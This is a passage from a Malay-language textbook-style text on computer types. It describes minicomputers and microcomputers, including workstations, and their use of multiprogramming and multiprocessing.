Mini Komputer pula adalah lebih perlahan, berkeupayaan storan yang kurang dan lebih murah daripada komputer kerangka utama. Kebanyakannya dimiliki oleh gedung perniagaan, jabatan awam/swasta dan institut pengajian tinggi. Mini Komputer juga menggunakan konsep multiprogramming dan multiprocessing. Contohnya adalah seperti HP 3000, SEQUENT dan lain-lain lagi.
MIKROKOMPUTER
Mikrokomputer atau Komputer peribadi pula  mempunyai saiz yang kecil seperti desktop atau laptop. Ia diperkenalkan buat kali pertama pada pertengahan tahun 1970-an. Mikropemproses adalah menjadi asas bagi mikrokomputer. Penggunaan mikrokomputer semakin meluas. Supermikro atau stesen kerja (workstation) telah diperkenalkan. Ia merupakan sambungan di antara mikrokomputer dan mini komputer yang berkeupayaan menggunakan konsep multiprogramming dan multiprocessing.